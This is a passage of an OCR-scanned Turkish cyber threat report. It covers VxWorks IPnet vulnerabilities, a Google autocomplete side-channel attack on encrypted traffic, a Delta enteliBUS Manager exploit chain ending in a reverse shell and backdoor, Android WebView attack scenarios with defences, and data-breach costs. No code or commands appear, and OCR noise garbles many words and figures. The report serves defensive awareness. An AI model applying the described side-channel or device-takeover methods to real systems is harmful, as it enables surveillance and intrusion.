Oncelikli olarak modemler, routerlar, firewaller, yazicilar
gibi organizasyon aglarinin yani sira bazi endustriyel ve
tibbi (MRI, Hasta takip cihazlarn gibi) kurumsal cihazlar
da etkilendi. WindRiver TCP/IP yigininda (IPnet) bulunan
glvenlik agikliindan musterilerinin etkilenmemesi icin
yamalar olusturup testler gerceklestirdigini resmi site-
sinden acikladi.

ZAFIYET ADI

CVE-2019-12256
CVE-2019-12255
CVE-2019-12260
CVE-2019-12261
CVE-2019-12263
CVE-2019-12257
CVE-2019-12258
CVE-2019-12262
CVE-2019-12264
CVE-2019-12259
CVE-2019-12265

ACIKLAMA

Memory corruption vulnerability
Memory corruption vulnerability
Memory corruption vulnerability
Memory corruption vulnerability

Heap overflow in DHCP

Tablo 3: Zafiyet detaylari.

10

Stack overflow in the parsing of IPv4 options

TCP connection DoS via malformed TCP options

Handling of unsolicited Reverse ARP replies

DoS via NULL dereference in IGMP parsing

IGMP Information leak via IGMPv3 specific membership report.
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5. GOOGLE OTOMATIK TAMAMLAMA
SECENEGI SORGULARINIZI ELE VEREBILIR

Arama motorlarinin en Unlist stiphesiz Google olarak
gériilmektedir. Oyle ki neredeyse girmek istedigimiz ve
adresini bildigimiz sayfalar bile Google lUizerinden ara-
tip 6yle tikhyoruz. Google’in piyasada hakim durumda
bulunan kendi tarayicisinin HTTPS kullanmayan say-
falari “glvenli degil” olarak isaretledigi 2017 yilindan
beri olusan baskiyla HTTPS’e gecis son derece hizlan-
mist.  Oyle ki mevcut istatistikler tilkemizde Chrome
Uzerinden elde edilen trafigin %78’inin sifreli oldugunu
gOsteriyor.

HTTPS protokoll, sorf yaparken kotl niyetli kisilerin
araya girerek tarayicinizdan ve sunucudan gelen trafigi
gormesini engelliyor. HTTPS protokoli iyi bir sikilastir-
mayla yapilandirildiginda son derece guvenli sayilabilir.
HTTPS’in tasiyici protokolt TLS 1.3 surimuyle var olan
zafiyetler giderildi ve protokol su anda pratikte bir zafiyet
barindirmiyor.

Tekrar arama motorlarina dénelim. HTTPS ile tasindigi
slirece ne aradiginizi kimsenin gérmesine imkan yok di-
yebiliriz. Peki, sifreli akan bu trafik Gzerinde baz para-
metreler gbzetlenerek aradiginiz sorgular ele gegirilebilir
mi? Otomatik tamamlama secenedini kullaniyorsaniz,
akademisyen John V. Monaco’ya gore evet! Google ara-
ma motoru Uzerinde yapilan arastirmalarda trafik sifreli
de olsa yapilan sorgularin yiizde 15’inin ele gecirilme ih-
timali var.

Asagidaki ekran goérintisiinde otomatik tamamlama-
nin agik oldugu bir sorgu goézikuyor. Google’in sizin
aramaniza alternatifler sunabilmesi igin eklediginiz her
harf icin sunuculara bir sorgu géndermesi gerekiyor. Bu
sorgular HTTP GET istekleri ve iclerinde o ana kadar
yazdiginiz sorguyu iceren bir URL barindiriyor. (Tablo
4, Sekil 11).

ZAFiYET TURU

Remote Code Execution (RCE)

Uzaktan Kod Calistirma

Denial of Service (DOS)
Information Leak
Logical Flaw

Logical flaw in IPv4 assignment by the ipdhcpc DHCP ---

Servis Digi Birakma
Bilgi Sizintisi
Mantiksal Hata

SIBER TEHDIT DURUM RAPORU
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Paket Boyutu (bayt) URL

158 ?9=m&cp=1&...

159 ?9=mi&cp=2&...

159 ?g9=mil&cp=3&...

160 ?9=mill&cp=4&...

161 ?9=milli&cp=>5&...

163 ?79=milli%20&cp=64&...
164 ?9=milli%20f&cp=74&...
165 ?9=milli%20fu&cp=8&...
165 ?9=milli%20fut&cp=9&...

Tablo 4: Google otomatik taramada giden paketler ve boyutlari.

LI.F

milli fut
Q  milli fut - Google Search

milli futhkol takim

1-0 vs. Andorra Sep 7
Q. milli futboleular
Q. milli futbol magI ne zaman
S milli futboleu kenan

. milli futbelcu

Sekil 11: Google otomatik tamamlama segenegi.

Bu tabloda dikkat ¢eken her sorguya 1 baytlik bir ka-
rakter eklenmesine ragmen paket boyunun neden bi-
rer bayt artmadigl. Bunun cevabl HTTP2’de kullanilan
Huffman sikistirma algoritmasinda gizli. Bu algoritma her
karakteri 5 ile 6 bit arasinda kodluyor ve bdylece 3 ka-
rakteri 2 bayta sigdirabildigi durumlar oluyor. Normalde
birer bayt artan paket boyutlar ikinci ve Gglincl pakette
degismemis. 6. Paketin boyutundaki artis ise normal-
den fazla (2 bayt), bu ise bosluk karakterinin “%20” ile
kodlanmasindan &tirt. Paket boyutlarindaki degisimin
bir karakteristigi oldugu ortada ve bu karakteristik bize
sifreli giden paketlerin klavyenin bir tusuna basiimasiyla
mi gittigi yoksa basgka bir trafige mi ait oldugu bilgisini
veriyor.

Biraz daha acmak gerekirse, elimizde icerigini géreme-
digimiz ag paketleri var. Bunlarin bir arama sorgusu-
na mi yoksa baska bir trafige mi ait oldugu bilgisini su
sekilde cikarabiliriz. Tablo 4’te gérildigu Uzere arama
sorgusuna ait olan paketlerin boylarinin sirali artan bir
sekilde olmasi gerekiyor. Tabloda gbziikmeyen bir diger
detay da 12 pakette bir Google’in sorgulara “&gs_mss="
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seklinde 8 baytlik bir karakter seti daha eklemesi. Sekil
2’de verilen belirli sonlu otomat (DFA — Deterministic
Finite Automaton) bu tanimlara uyan en uzun paket dizi-
sini secebiliyor.

Sekil 12°de verilen mavi halkalar dizileri kabul ederken
gezebilecegimiz durumlar. Amacimiz tus basma sira-
sindaki paketleri normal paketler arasindan ayirt edebil-
mek. ilk paket icin “a” durumunda oldugumuzu kabul
edelim. ikinci paketin boyutu degismiyorsa “b” durumu-
na geliriz. Halen kabul edilebilir bir paket dizisindeyiz,
Uclincl pakette eger 1 ila 3 bayt arasinda bir degisim
olursa yine “a” durumuna déneriz. 4. Pakette sézgelimi
eger 4 baytlik bir degisim olursa gidebilecek bir durum
bulamadigimizdan dolayi tim paket dizisini eleriz ve bu
paket dizisinin bir arama motoru sorgusuna ait olmadi-
gini sdyleyebiliriz.

Burada d = 0 durumu yani paket boyutunun degisme-
mesi, pakete karakter eklenmesine ragmen sikistirma
algoritmasi sayesinde paket boyutunun degismedigini
varsaylyor. 1 ila 3 bayt arasindaki degisimler ise yukarida
bahsettigimiz gibi sorguya karakter eklenmesi ve bosluk
karakterinin (%20) farkl kodlanmasiyla gerceklesiyor. 3
bayttan bilylk bir degisim ise “&gs_mss=" parametre-
sinin eklendigini gdsteriyor. Bu otomat verilen paketler
arasinda istenen kurallara uyan en uzun diziyi buluyor.
Boylelikle bu diziye ait paketlerin arama motorundaki
sorguya ait oldugunu bilebiliyoruz.

Sekil 12: Tusa basma paketlerini segen DFA.

Paket boyutlar bize dnemli bir bilgi daha veriyor. Bosluk
karakterinin 3 karakterle (%20) temsil edilmesi paket
boylarinda sikistirmadan dolayl 2 baytlik bir artisa yol
aciyor. Bu durumda otomatin kabul ettigi bir paket di-
zisinde bosluk karakteri gecen paketleri ayirt edebilir ve
her kelimenin kag harften olustugunu ortaya cikarabiliriz.

HTTP2 Huffman sikistirma teknigi sonrasi elde edilen
dizinin boyutunun baytin kati olmasi gerekiyor. Ornegin
“dogs” kelimesi (d = 100100, o = 00111, g = 100110, s
= 01000) seklinde 22 bitlik bir dizi halinde kodlanabili-
yor. Dolayislyla sonuna iki bitlik 11 degeri eklenerek 3
bayta tamamlanip kargi tarafa yollaniyor. Paketler sifreli
oldugu icin dolgulama (padding) bitlerinin mevcut olup
olmadigini dogrudan gdézlemleyemiyoruz. Ama arastir-
macilar ingilizce sézlilkteki tim kelimeler icin olasi tim
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dolgulama kombinasyonlariyla kodlama islemi sonrasi
uzunluk degisimlerini hesaplamiglar.

Sekil 3'deki 6rnekte, bir 6nceki pakette dolgulama olma-
digini varsayarsak (p = 0, sol-Ust), “dogs” kelimesindeki
harfler kodlanirken olusan paket biytklikleri sirasi ile (1,
2, 3, 3) olacaktir. Tum dolgulama degerleri ve tim keli-
meler icin bu degerleri hesapladigimizi varsayalim. Bu
durumda gézlemlenen bir paket boyutu degisim dizisinin
hangi kelimelere ait olamayacagini kolaylikla bulabiliriz.
Sekil 3’deki 6rnekte gdzlemlenen paket boyutu degisim
dizisi (1, 2, 3, 3) ve “dogs” veya “guns” kelimelerine ait
olabilecegi ancak “cats” kelimesine ait bir dizi olamaya-
cagQi gbzikuyor.

“%
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Sekil 13: Tum dolgulama degerleri icin paket boylarindaki artis
Orlintlistinin hesaplanmasi.

Arastirmacilarin son calismasi ise paketler arasindaki
zaman farkinin da bir bilgi sizmasina yol agtigini géster-
mek olmus. ingilizce icin konusacak olursak klavyede
“th” kalibi 6rnegin “ph” kalibindan ¢ok daha hizli yazi-
liyor. Buna birgok sebep gdsterebiliriz. ingilizce’de en
¢ok kullanilan kelimenin “the” olmasi, t ve h’nin klavye
Uzerine birbirine yakinligi vs. gibi nedenlerle insanlar “th”
kalibini cok daha hizli yaziyor. Arastirmacilar binlerce ki-
sinin klavye yazma hizlarindan elde ettikleri veriyi, maki-
ne 6grenme metotlaryla egitmis ve paketler arasindaki
zamanlama farklariyla iliskilendirmigler. Bdylelikle bir 6n-
ceki adimdaki filtreleme metodu sonrasi kalan kelimeler
arasindan en yakin kelimeyi bulmayl basarmiglar. Son
olarak olusturduklari dil modeli makine 6grenmesi yardi-
mi ile basarim oranini artirmislar.
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Ana hatlariile saldirny1 Sekil 14’te gorebiliriz. Gdzlemlenen
binlerce paket arasindan ilk olarak bir sorguya ait paket-
ler ilk bélimde anlattigimiz gibi filtreleniyor ve klavyeye
basma sonucu olusan sifreli paketler elde edilmis oluyor.
Daha sonra bosluk karakterinin yarattigi 2 baytlk artis
tespit edilerek kelime boylar tespit edilmis oluyor. Paket
boylarindaki artis dizisindeki ériintiden kelimeler filtrele-
niyor ve yazim hizlari arasindaki farktan kelime tahminle-
ri yapiliyor. Son olarak olusturulan dil modeli ile climlenin
tamami tahmin edilmeye calisiliyor.

I I II II I I : G#zlemlenen Paketler

Tusa basilan paketlerin bulunmasi

s
I I I l I l I l l l { Kelime boylannin tespiti
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ﬂ”d - 1dZy ! it ;Keﬁmelerin filtrelenmesi
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the| o4 that | o3 fox oz Yazim hizlanindaki fark ile
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the lazy fTox
and that dog

Olusturulan dil modeli
¢ ile ciimlenin tahmini

Sekil 14: Saldirn Adimlari

Bu saldirilar Google, Yandex ve Baidu arama motorlar
Uzerinde denenmis ve Yandex karakter kodlama sirasin-
da farkl bir algoritma kullandigi, Baidu ise HTTP2 sikis-
tirmay1 desteklemedigi icin saldirlar basarili olamamis.
Ancak Google Uzerinde yapilan saldirilarda sorgularin
ylzde 15’i ele gegirilebilmis. Google bu soruna bir care
bulana kadar otomatik tamamlama &zelliginin devre digi
birakilmasini tavsiye ederiz.

6. ENDUSTRIYEL KONTROL
SISTEMLERINDEKI KRITiK ZAFIiYET:
CVE-2019-9569

Delta’in “enteliBUS Manager” cihazi (€BMGR), basitce
sOylemek gerekirse genellikle kurumsal veya endUstriyel
ortamlarda bulunan c¢esitli donanim parcalari icin, érne-
gin sunucu odasindaki sicaklik ve nem kontroll sensér-
lerini, fabrikadaki ilgili alarmlari ve sensorleri veya bir ig-
letmedeki erisim kontrollini ya da aydinlatmalar kontrol
etmeyi amaclar. Bdylesi bir sistemin avantajlan apacik
ortada, en az seviyede insan gicl ve etkilesimiyle efektif
bir sonuca ulagsmak.

Dezavantajlar ise teknoloji meraklisi kétU niyetli kisile-
rin ortaya cikmasiyla belirginlesmeye bagladi. Potansiyel
olarak kritik olan alt yapiniza girmek icin yapiimasi gere-
ken tek sey bu tir cihazlarin sahip olabilecekleri zafiyet-
leri istismar etmek!
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TEMMUZ-EYLUL 2019

Bir an icin hastanedeki bir ameliyathaneyi distinin, bu
odalar ameliyat sirasinda ¢evresel etkilerden hastayi ko-
rumak icin ¢esitli cihazlarla ortamdaki kirletici maddeler-
den arnindirilir. Bu tlr odalari yénetmek eBMGR icin tipik
bir uygulamadir. Bdyle bir hassas ortami bozarlarsa sal-
dirganlarin nasil bir hasara yol agabilecegini 6ngdérmek
fazla bir hayal glicu gerektirmez.

McAfee’nin Gelismis Tehdit Arastirmasi ekibi Defcon 27
konferansinda acikladigi gibi, bu cihaz Gzerinde yaptig
arastirmada bir dizi ok énemli zafiyet ortaya ¢ikardi. Bu
gibi aga bagl kritik sistemleri yéneten cihazlar son de-
rece yUksek bir yaziim givenligi standardi gerektiriyor.
“Fuzzing” olarak bilinen bir teknik kullanarak, cihazi her
tlrll kasten hatal bigimlendirilmis ag trafigine maruz bi-
rakarak istenilenin disinda bir davranis sergileyip sergi-
lemedigini gdzlemliyorlar. Bu, yazihm glvenligi alaninda
saldirganlarin siklikla kullandiklari bir saldir ¢esididir.

Arastirmacilar eBMGR cihazlarinin yazihminda “Buffer
Overflow” olarak bilinen bir zafiyet oldugunu fark ettiler.
Bu zafiyet, gelen ag verilerini islemek icin kullanilan bel-
lek boyutlarindaki bir uyusmazlik sonucu saldirganlara
cihazin tim kontrollini ele gegirme imkani veriyor. Daha
da kétiusu, saldin, trafik yayini (broadcast) olarak bilinen
bir mesaj yéntemini kullanarak da calisabiliyor, bu da
saldirganlarin agdaki hedeflerin yerini bilmeden saldiriyi
baglatabilecekleri anlamina geliyor.

Bu tlr bir saldinda EKS cihazinin kontrolint ele gegir-
mek nihai nokta olarak gdrulebilir, fakat arastirmacilar
eBMGR cihazina bagh diger arabirimleri de, mesela
bina aydinlatma sistemlerini, iklimlendirme sistemlerini,
sicaklik ve nem sensdrlerini vb. kontrol edip edemedik-
lerini anlamak i¢in ¢calismalarina devam etmigler. Yapilan
calismalar sonucu, ayni agdaki herhangi bir “enteliBUS
Manager-eBMGR” cihazini tehlikeye atacak ve tzerinde
calisan yaziima 6zel bir kbt amaglh yazilim pargasi ek-
leyecek bir saldiri gerceklestirebilmisler. Bu k&t amagl
yaziim daha sonra saldirganin eBMGR cihazina uzak-
tan komut vermesini ve buna bagli herhangi bir dona-
nimi (bu donanim masum bir iklimlendirme sisteminden
fabrikalarda kullanilan tehlikeli bir kazan sistemine kadar
farkh bircok sey olabilir) kontrol etmesini saglayacak bir
arka kapi olusturabilmigler.

Initial wan attacker remotely sends malicious packets to exploit
Attack the buffer overflow
LIS The attack crentes a reverse shell which dawnlonds
Shell ] rure a malioows soript
w Thie alla keer's scriph inslalls rmalware
pruviding & rermute backdeor L Uhe system
= The allacker reboots the syslem o
Reboot enable the backdoor
Full » The attacker has full remote
Contral cantral of the device

Sekil 15: Saldirt Adimlan
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Sekil 15°te tanimlanan saldir adimlarinin hepsini gergek-
lestirebilmek 3 dakikanin altinda bir sire aliyor. Bu stire-
cin en uzun adimi ise cihazi tekrar baslatma adimi (Adim
4). Saldirgan bir kere cihazi ele gecirdiginde kullanici fark
etmeden cihaz Uzerinden cevre birimlerini istedigi gibi
kontrol edebilmekte.

Bu saldirinin bir ileri adimi ise, eger saldirgan eBMGR
cihazinin acik IP adresini biliyorsa saldirlyi internet lze-
rinden de gerceklestirebilecek olmasidir. Bu, saldirinin
etkilerini Ustel olarak artiracaktir. Shodan.io Uzerinden
yapilacak bir aramayla diinya ¢apinda internet Gzerin-
den erigilebilen 600 civarinda cihazin zafiyet iceren yazi-
lima sahip oldugu gérilmektedir.

7. ANDROID WEBVIEW GUVENLIK RiSKLERI

GunimUizde iki milyardan fazla cihazda kullanimda
olan Android igletim sistemi kullanicilarina Google Play
Store’da 3 milyondan fazla mobil uygulamaya erisme
imkani sunuyor. Gelistiriciler kullanici deneyimini iyiles-
tirmeye calisirken bir yandan da mobil uygulama gelig-
tiricilerinin isini kolaylastirmaya yoénelik 6zellikler ekliyor.
En populer mobil uygulamalar da icinde ¢ok sayida uy-
gulamada bulunan WebView objesi de uygulama gelis-
tiricilerin isini kolaylastiran ve yaygin olarak kullanilan
bir bilesendir. Giincel arastirmalar, WebView bileseniyle
ag tarayicilar arasindaki farkliiklar ve tutarsizlik nede-
niyle kritik dneme sahip zafiyetler meydana geldigini
gostermektedir.

Android WebView objesi, uygulamada ag tarayicisi goérevi
goren (“iframe/popup” gibi yapilarn da destekleyen), ge-
listiricinin ara yUz diizenlemesi yapabilecegi ve gelismis
yapilandirma imkani saglayan bir bilesendir. GoriinUste
klasik bir tarayiclya benzese de, kullanici deneyimini iyi-
lestirmek ve performans optimizasyonu saglamak igin,
altyapisal olarak bircok farklilik gésteriyor. Bu farkhliklar
“iframe” ve “popup” yapilarinin davranislarinda givenlik
zafiyetleri olusturacak bazi etkilere neden oluyor. Bunun
yani sira Sekil 16’da goéruldigi gibi, adres cubugunun
bulunmamasi gibi gérsel farkliliklar da beraberinde c¢e-
sitli riskler getiriyor.

Tab Baghk

Anceoid
< G | @ Secure | b droid.com

e Adres Cubugu WebView

Android Oreo
Klasik Web Tarayici Arayizl

WebView Arayuzi

Sekil 16: Tarayicilar arasindaki gorsel farkliliklar.
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7.1. Muhtemel Atak Senaryolari

Orijin saklama: Web ile haberlesmede butinlGgu
bozar ve aralarinda glvenlik iliskisi bulunmayan web
bilesenleri arasinda iletisim kurulmasini mimkun ki-
lar. Ayrica web katmani ile mobil uygulama kodu (6rn.
Java) arasindaki kanala gizlice erisim saglanabilir.

WebView ara yiziinii sahte ara yiizle kaplama:
Sahte bir ara ylzle WebView ara ylzini orterek olta-
lama saldirisi gerceklestirilebilir (Sekil 17).

Ana pencereyi yonlendirme: Yetki kazanimiyla ana
pencere istenilen zararl bir siteye ydnlendirilebilir.

Asil Sayfa

Glivensiz Web Sayfasi -~ g |

" Untrusted
Web Page

Benigh

Guvensiz Pencere

“WebPage /
Untrustedy

Frame

e P&qup

Sekil 17: Sahte ara yuz saldirisi.

7.2. ilgili Onlemler

Orijin saklama saldirilarina karsi genelde orijin
dogrulama islemi yapiliyor fakat iframe/popup’a
ait orijin bilgisi gizlenerek bu givenlik asamasi
atlatilabiliyor.

WebView’da sahte ara yliz saldinisina karg! alinan
onlemler, mobil uygulama seviyesindeki ara yuz ko-
ruma &nlemlerine cok benzer niteliktedir. ilgili &nlem-
ler sadece uygulamalar arasinda ara yiz durum degi-
sikliklerini gbzlemleyerek calisiyor fakat bahsi gecen
saldinda degisiklik tek bir uygulamada oldugu igin
onlemler yetersiz kalabilmektedir?.

Ana pencereyi yonlendirme saldirilari normalde
“iframe sandbox” mekanizmasiyla engellenebilirken,
WebView’daki iframe’lerde ise yaramiyor.

7.3. istatistikler

Arastirmacilarin 11.341 mobil uygulama Uzerinde yap-
tig1 bir calisma sonucunda bu uygulamalarin ylzde
38,4’Unln potansiyel zafiyetli oldugu ve toplam 13.384
potansiyel zafiyet bulundudu ortaya cikti. Bugiine kadar
bu uygulamalarin toplam indiriime sayisi yaklasik 20 mil-
yar civarindaydi. Bu calisma yapilirken DCV-Hunter is-
minde bir ara¢ kullanildi. Bu aracin yanlig pozitif orani
yaklasik ytzde 1,5 seviyesindedir.

14
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Aragtirmacilar ayni zamanda en populer uygula-
malar da detayli olarak incelemisler ve Facebook,
Instagram, Facebook Messenger, Google News, Uber,
Yelp, WeChat, Kayak, ESPN, McDonald’s, Kakao Talk,
Samsung Mobile Print uygulamalarinda, G¢lncu taraf uy-
gulama gelistirme kuttiphanelerinden Facebook Mobile
Browser ve Facebook React Native’de, ayrica U.S. Bank
ve Huntington Bank gibi populer bankacilik uygulamala-
rinda ilgili zafiyetler tespit edilmis bulunuyort.

7.4. Cok Katmanh C6ziim

Arastirmayl yapan uzmanlar, WebView bileseninin ki-
sitlarindan dolayl programcilarin bu zafiyetlerin 6éniine
gecmesinin ¢ok zor oldugunu, zafiyetli uygulamalarin
programcilarin sucu olmadigini belirtiyor. Diger yandan
zafiyetli durumu ortadan kaldirmak icin Android kaynak
kodunu degistirmek yerine, cok katmanh bir dizi 6nle-
min yeterli olacagini gdsteriyorlar [3]. Bu énlemleri séyle
siralayabiliriz;

Event Metotlarinin Gliclendirilmesi: Uygulamadaki
bir dosya icindeki glvenilir adreslerin statik olarak
tutulmasi, popup olusturulmasi gibi bir olay gercek-
lesecedi zaman erisim yapilacak adresin bu listede
olup olmadigina bakilmasi muhtemel bir zararli site
ziyaretini engelleyecektir.

Adres Gubugu: WebView, kullanici ekrana uzun basili
tuttugunda o anda yUkIUi olan orijini kullaniclya gos-
teriyor. Fakat ayni kullanici davranigi, uygulama gelig-
tiricisi tarafindan da kullanilabilir. Béyle bir durumda
cakisma olmamasi igin uzun basma olayini bildiren
metot ilk dnce orijini gdsterecek sonra gelistiricinin
istegini yerine getirecek sekilde genigletilmelidir.
Degeri “null” Olan Orijinin Bilgisini Giincellemek:
Orijin degeri “null” olan pencereler, aralarinda giiven
iliskisi olmayan alt pencerelerin birbiriyle etkilesimine
imkan veriyor. Bu problemden kurtulmak igin “null”
orijine sahip olan pencereler tespit edilip orijin deger-
leri, 0 pencereyi kapsayan pencerenin orijin degeriyle
glincellenmelidir.

Popup Gostergesi: Sahte WebView araylzU saldiri-
larina kargi, ilgili buttin API ¢agrilan (“addView” gibi)
gozlemlenmelidir. WebView ara yiz gdsterim sirasi
bir alt pencere tarafindan degistiriimek istendiginde
bu durum bir alarm olarak kabul edilmelidir.

Givenli Navigasyon: Zararli siteye yonlendiriime
problemini ¢ézmek igin, yonlendiriime islemi sade-
ce ayni orijine sahip pencereler arasinda yapiimali-
dir. Gerekli goérilmeyen durumlarda acilir pencereler
“SupportMultipleWindows” degiskenine “false” de-
geri atanarak devre digi birakilmalidir €I,

Yapilan arastirmalar bircok kritik glvenlik aciginin teme-
linde “iframe/popup” yapilar bulundugunu gdésteriyor.
Klasik web tarayicilarinda riskli senaryolar ¢ok iyi ele ali-
nip guvenli hale getirilmis olsa da, WebView bileseninin
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yeterli glvenlik dnlemlerine sahip olmamasi milyonlarca
kullaniciy1 riske atiyor. WebView bileseni gelistiricilere
kolaylik sagliyor olsa da beraberinde dikkat edilmesi ve
O6nlem alinmasi gereken énemili riskler getiriyor.

8. VERI SIZINTISININ SIiRKET MARKA
DEGERINE ETKIiSi VE FINANSAL
YAPTIRIMLAR

Kisisel veri (Personel Identifiable Information - PII), kim-
ligi belli ya da belirlenebilir nitelikteki gercek kisiyle il-
gili her tirlU bilgi olarak adlandirilir. Kisisel veriye érnek
olarak kisilerin irki, etnik kékeni, siyasi diisiincesi, saglhk
verisi gibi dnemli bilgiler verilebilir.

8.1. Veri Sizintisi1 Nedir? Nasil Olur?

Veri sizintisi siber saldirilar sonucu bilginin yetkisiz kulla-
nimi, ifsa edilmesi ve calinmasi seklinde gergeklesebilir.
Siber saldinlar ve bilgi sistemlerinin zafiyetlerinin sémuril-
mesi, sosyal muhendislik saldirlariyla da neticeye ulasa-
bilir. Fiziki olarak kurumlara yapilan saldirilar, yetkisiz eri-
simler, kurum calisanlar tarafindan yapilan veri hirsizliklari
da gunimuzde gorilen olgulardir. Saldirlar sonucu sizan
veriler bir hizmet alabilmek igin kisi tarafindan kurum-
la paylasiimis olabilecegi gibi sosyal medya, e-posta ve
daha bir¢ok Ucretsiz hizmet sunan platformlarda paylasi-
lan bilgiler de olabilir. Bu platformlar sadece insanlarin ileti-
simini kolaylastirmak icin servis veriyor degillerdir. Sirketler
sahip olduklar kisisel verileri isleyerek kendilerine kar sag-
layacak alanlarda da kullanabilmektedir. GlinimUizde siber
saldirlarnn bir nedeni de maddi kazang saglama arzusu-
dur. Diinya ¢apinda yapilan saldinlarin incelenmesi siber
saldirganlarin ele gegirdikleri sistemlerde uzun slre, fark
edilmeden kalabildigini gdsteriyor. Bu saldirilar kendi kay-
naklariyla tespit edebilen sirket sayisi ¢cok fazla degildir.

Veri sizintisi sonuglarina bakildiginda buyuk isletmeler-
den daha gok KOBI’lerin siber saldirilardan daha fazla
etkilendigi gdzlemlenmektedir. KOBI’lerin verilerinin siz-
masi sonucu, rakip sirketler bunlarn kullanarak misteri
calabilir, hatta ¢calinan verilerle kurulan rakip bir firma s6z
konusu KOBI'yi birkag sene icinde iflasa striikleyip ka-
panmak zorunda birakabilir.

8.2. Ses Getiren Veri Sizintilari

Gecmiste yasanan blylk sizintlara bakildiginda
Yahoo’nun 2013 yilinda G¢ milyar hesabinin ¢alinmasi,
Trump’in partisinin 200 milyon kisinin verisini Amazon
sunucularinda sifresiz sekilde tutmasi, Under Armour’in
spor uygulamasinda 150 milyon kullaniciyi etkileyecek si-
zinti olmasi, turizm ve havayolu sirketlerinin yasadigi veri
sizintilar gibi diinyada yanki uyandiran sizintilar géralar.

Facebook’un da karistii Cambridge Analytica skandal,
CEO Mark Zuckerberg’'in ABD senatosunda ve Avrupa
parlamentosunda ifade vermek zorunda birakmistir.
Yaklasik 87 milyon kisinin Facebook Uzerinde bulunan
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cinsiyet, yer, siyasi gorusg, dini inan¢ gibi verileri, dzel
yazigsmalari, begendikleri web siteleri ve profillerinde yer
alan kamuya acik verilerine Cambridge Analytica’nin
izinsiz olarak erisim elde ettigi ortaya ¢ikmis, bu veriler-
le kullanici tercihlerini etkileme ve degistirme calismalari
yapildig tespit edilmistir. Ayrica 2019 yilinda aralarinda
kullanici yorumlari, bedenileri ve isimlerinin de bulundu-
gu 540 milyondan fazla Facebook kaydinin, Amazon’un
bulut ortaminda, kamuya acik bir sekilde bulundugu fark
edilmistir. Tim bu Facebook sizintilarinin sonucunda,
Facebook’un en karli pazarlarindan biri olan ABD’de
de kullanici sayisinin bir yilda 15 milyon, Avrupa’da ise
3 milyon geriledigi kaydedilmistir. Ulkemizdeki duruma
baktigimizda ise Avrupa’da en ¢ok Facebook kullanici-
sinin Tiirkiye’de oldugu, istanbul’un ise diinyada en gok
Facebook kullanicisi olan sehir oldugu verisi mevcuttur.

2017 yilinda, en blyUk veri sizintisi yasayan sirket ABD’li
kredi notu belirleme sirketi olan Equifax’tir. Equifax sizin-
tisi ve etkileri incelendiginde verilerin sizmasina yol agan
zafiyet yamasinin, Uretici tarafindan 2017 Mart ayinda
kapatildigi, ancak bu giincellestirmeden iki ay sonra sir-
ketin hala gincellemeleri yiuklemedigi ortaya cikmigtir.
Bunun sonucu olarak 145 milyon kisinin finansal bilgi-
leri, sosyal kimlik numaralari saldirganlar tarafindan ele
gecirilmigtir.

8.3. Sizintilanin Finansal ve Marka Degerine
Etkisi

Veri sizintisi yasandiginda bu sirecin olabildigince seffaf
yonetiimesi gerekmektedir. Equifax sizintisi incelendi-
ginde veri sizintisinin gercgeklestigi tarihten 5 ay sonra
kamuoyuyla paylasildidi ve bu arada Ust diizey yénetici-
lerin hisselerini sattigi ortaya ¢ikmistir. Firmanin CEO’su
katildigi bir TV programinda ¢are olarak saldirndan et-
kilenenlerin sosyal guvenlik numaralarinin degistiriime-
si gerektigi gibi glling seyler séylemistir. Butlin bunlar

Equifax Inc

¥TD 5 years

Mkt cap

F/E ratio 28.5

Sekil 18: Equifax hisselerinin veri sizintisinin kamuoyu ile paylasi-
mindan sonra diususu.
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marka imajinin daha da kdtlye gitmesini getirmis bu su-
re¢ CEO’nun istifasiyla sonuglanmistir.

Veri sizintisi bilgisinin duyuldugu dénemde Equifax his-
selerinin dramatik olarak dustugu gérulmastir.

Gegtigimiz yaz aylaninda aciklanan bir yargi kararyla, ABD
tarihinin bilinen en blytk siber saldirnlarindan birine maruz
kalan Equifax, bu saldinda yaklasik 150 milyon musterisi-
nin 6zel bilgilerinin sizmasina imkan verdigi icin 700 milyon
dolar ceza ve tazminat 6demeye mahk(im olmustur.

Ayni sekilde Facebook Cambridge Analytica skandali
yluzinden ABD’de 5 milyar, Ingiltere’de ise 645 bin dolar
cezaya carptinimgtir.

Veri sizintisi yasayan sirketler su tdr finansal kayiplara
ugramaktadir:

Hisse deger kaybi

Gelir azalmasi

Musteri kaybi

Rekabette geriye diisme

Ceza alma

Yeniden itibar kazanmak icin yapilan harcamalar

Veri sizintisi duyuldugu anda ortalama ylizde 5’lik bir his-
se degeri kaybi yasandidi tespit edilmistir. Kayiplar, mar-
kanin sektdriine gére degisiklik gdstermektedir. Ornegin,
sizinti tespit edildiginde finans sektdri perakendeden
daha fazla zarar gérmektedir. Finansal bakimdan, gu-
venlik algisi yuksek olan marka, dusuk olana gére daha
cabuk toparlanmaktadir.

Sizintilarin marka degerine olan etkisi degerlendirildi-
ginde; musteri guveninin sarsilmasi ve bagliik kaybi,
musteri-marka iliskisinin sonlanmasi, medyada olum-
suz haberler ¢cikmasi siralanabilir. Ayrica veri sizintisinin,
musterilerin misteri iliskilerini zayif degerlendirmesi ve
Urtin geri cagirmanin yani sira marka degerine olumsuz
etki eden ilk U¢ ana nedenden biri oldugu ortaya ¢ikmis-
tir. Veri sizintisi yagayan bir sirket daha sonra da saldirn-
larin hedefi haline gelebilmektedir.

Buna karsilik, gu¢li glvenlik algisi yaratmak musteri ai-
diyetini ve glvenini artirmaktadir. Blyuk ihlallerin sonu-
cunda daha az kisisel bilgi sizmasi ya da daha iyi veri
glvenligine sahip servis saglayiciya daha fazla édeme
yapmak gibi noktalara misterilerin énem verdigi ortaya
cikmistir.

Bilgi glivenliginin, belirli bir farkindalik seviyesine ulastig
Ulkelerde genis capli veri sizintilari, blyik bir basarisizlik
olarak algilanmaktadir.

8.4. Tiirkiye’deki ihlaller ve Alinan Tedbirler

Veri hirsizligina yol agan en énemli faktdér, sirketlerin cok
blylk miktarlarda ve ayrintili musteri bilgisini elde tut-
malandir. Turkiye’deki sirketlerin cogunun, misteri kim-
lik bilgilerini toplayip sakladigi bilinmektedir.
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Turkiye’de yasanan sizintilara bakildiginda; Kisisel
Verileri Koruma Kurumu (KVKK) internet sitesinde 2 Mart
tarihinde ING Bank A.$.’ye iligkin veri ihlali bildirimi ya-
yinlamigtir. Bildiride; ING Bank’ta gorevli bir personelin,
cogunlugu ING Bank musterisi olmayan 19 bin 55 kisinin
TC kimlik numarasi ve vergi kimlik numarasi bilgileriyle
Turkiye Bankalar Birligi Risk Merkezi sistemleri (zerin-
den sorgular yaptigi ve sorgu sonucu elde ettigi, verileri
